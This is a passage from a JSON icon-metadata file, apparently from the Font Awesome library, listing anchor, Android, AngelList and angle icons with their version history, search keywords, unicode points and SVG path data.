        "path": "M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z"
      }
    },
    "free": ["brands"]
  },
  "anchor": {
    "aliases": {
      "unicodes": {
        "composite": ["2693"],
        "secondary": ["10f13d"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "anchor",
        "berth",
        "boat",
        "dock",
        "embed",
        "link",
        "maritime",
        "moor",
        "port",
        "secure",
        "ship",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f13d",
    "label": "Anchor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c88.4 0 160-71.6 160-160v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-56-56c-9.4-9.4-24.6-9.4-33.9 0l-56 56c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 53-43 96-96 96H320V240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c88.4 0 160-71.6 160-160v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-56-56c-9.4-9.4-24.6-9.4-33.9 0l-56 56c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 53-43 96-96 96H320V240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1z"
      }
    },
    "free": ["solid"]
  },
  "anchor-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["marina", "not affected", "ok", "okay", "port"]
    },
    "styles": ["solid"],
    "unicode": "e4aa",
    "label": "Anchor Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "anchor-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "marina", "port"]
    },
    "styles": ["solid"],
    "unicode": "e4ab",
    "label": "Anchor Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "anchor-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destroy", "marina", "port"]
    },
    "styles": ["solid"],
    "unicode": "e4ac",
    "label": "Anchor Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "anchor-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["closed", "lockdown", "marina", "port", "quarantine"]
    },
    "styles": ["solid"],
    "unicode": "e4ad",
    "label": "Anchor Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8 0 15.9-.6 23.6-1.7c-4.8-9-7.6-19.3-7.6-30.3V446.7c-5.2 .9-10.5 1.3-16 1.3H320V240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM528 240c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8 0 15.9-.6 23.6-1.7c-4.8-9-7.6-19.3-7.6-30.3V446.7c-5.2 .9-10.5 1.3-16 1.3H320V240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM528 240c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "android": {
    "changes": ["3.2.0", "5.0.0", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": ["robot"]
    },
    "styles": ["brands"],
    "unicode": "f17b",
    "label": "Android",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55"
      }
    },
    "free": ["brands"]
  },
  "angellist": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f209",
    "label": "AngelList",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z"
      }
    },
    "free": ["brands"]
  },
  "angle-down": {
    "aliases": {
      "unicodes": {
        "composite": ["2304"],
        "secondary": ["10f107"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Down Arrowhead", "arrow", "caret", "download", "expand"]
    },
    "styles": ["solid"],
    "unicode": "f107",
    "label": "Angle Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M201.4 342.6c12.5 12.5 32.8 12.5 45.3 0l160-160c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 274.7 86.6 137.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M201.4 342.6c12.5 12.5 32.8 12.5 45.3 0l160-160c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 274.7 86.6 137.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160z"
      }
    },
    "free": ["solid"]
  },
  "angle-left": {
    "aliases": {
      "unicodes": {
        "composite": ["2039"],
        "secondary": ["10f104"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Single Left-Pointing Angle Quotation Mark",
        "arrow",
        "back",
        "caret",
        "less",
        "previous"
      ]
    },
    "styles": ["solid"],
    "unicode": "f104",
    "label": "Angle Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M41.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 256 246.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M41.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 256 246.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160z"
      }
    },
    "free": ["solid"]
  },
  "angle-right": {
    "aliases": {
      "unicodes": {
        "composite": ["203a"],
        "secondary": ["10f105"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Single Right-Pointing Angle Quotation Mark",
        "arrow",
        "care",
        "forward",
        "more",
        "next"
      ]
    },
    "styles": ["solid"],
    "unicode": "f105",
    "label": "Angle Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M278.6 233.4c12.5 12.5 12.5 32.8 0 45.3l-160 160c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L210.7 256 73.4 118.6c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l160 160z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M278.6 233.4c12.5 12.5 12.5 32.8 0 45.3l-160 160c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L210.7 256 73.4 118.6c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l160 160z"
      }
    },
    "free": ["solid"]
  },
  "angle-up": {
    "aliases": {
      "unicodes": {
        "composite": ["2303"],
        "secondary": ["10f106"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Up Arrowhead", "arrow", "caret", "collapse", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f106",
    "label": "Angle Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M201.4 137.4c12.5-12.5 32.8-12.5 45.3 0l160 160c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L224 205.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l160-160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M201.4 137.4c12.5-12.5 32.8-12.5 45.3 0l160 160c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L224 205.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l160-160z"
      }
    },
    "free": ["solid"]
  },
  "angles-down": {
    "aliases": {
      "names": ["angle-double-down"],
      "unicodes": {
        "secondary": ["10f103"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrows", "caret", "download", "expand"]
    },
    "styles": ["solid"],
    "unicode": "f103",
    "label": "Angles Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M246.6 470.6c-12.5 12.5-32.8 12.5-45.3 0l-160-160c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L224 402.7 361.4 265.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-160 160zm160-352l-160 160c-12.5 12.5-32.8 12.5-45.3 0l-160-160c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L224 210.7 361.4 73.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M246.6 470.6c-12.5 12.5-32.8 12.5-45.3 0l-160-160c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L224 402.7 361.4 265.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-160 160zm160-352l-160 160c-12.5 12.5-32.8 12.5-45.3 0l-160-160c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L224 210.7 361.4 73.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3z"
      }
    },
    "free": ["solid"]
  },
  "angles-left": {
    "aliases": {
      "names": ["angle-double-left"],
      "unicodes": {
        "composite": ["ab"],
        "secondary": ["10f100"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Left-Pointing Double Angle Quotation Mark",
        "arrows",
        "back",
        "caret",
        "laquo",
        "previous",
        "quote"
      ]
    },
    "styles": ["solid"],
    "unicode": "f100",
    "label": "Angles Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M41.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 256 246.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160zm352-160l-160 160c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L301.3 256 438.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M41.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 256 246.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160zm352-160l-160 160c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L301.3 256 438.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "angles-right": {
    "aliases": {
      "names": ["angle-double-right"],
      "unicodes": {
        "composite": ["bb"],
        "secondary": ["10f101"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Right-Pointing Double Angle Quotation Mark",
        "arrows",
        "caret",
        "forward",
